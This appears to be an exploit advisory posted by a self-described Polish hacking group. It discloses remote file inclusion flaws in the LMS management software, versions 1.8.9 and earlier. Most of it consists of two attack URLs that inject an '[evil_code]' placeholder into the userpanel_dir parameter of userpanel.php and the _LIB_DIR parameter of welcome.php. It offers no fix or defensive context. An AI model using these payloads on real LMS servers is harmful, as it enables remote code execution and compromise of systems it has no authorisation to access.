DEVIL TEAM - HACKING POLISH TEAM
Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.
LMS <= 1.8.9 Vala Remote File Inclusion Vulnerabilities
script download/homepage: http://www.lms.org.pl/
Vulnerabilities:
http://strona.pl/lms_path/modules/userpanel.php?CONFIG[directories][userpanel_dir]=[evil_code]
http://strona.pl/lms_path/modules/welcome.php?_LIB_DIR=[evil_code]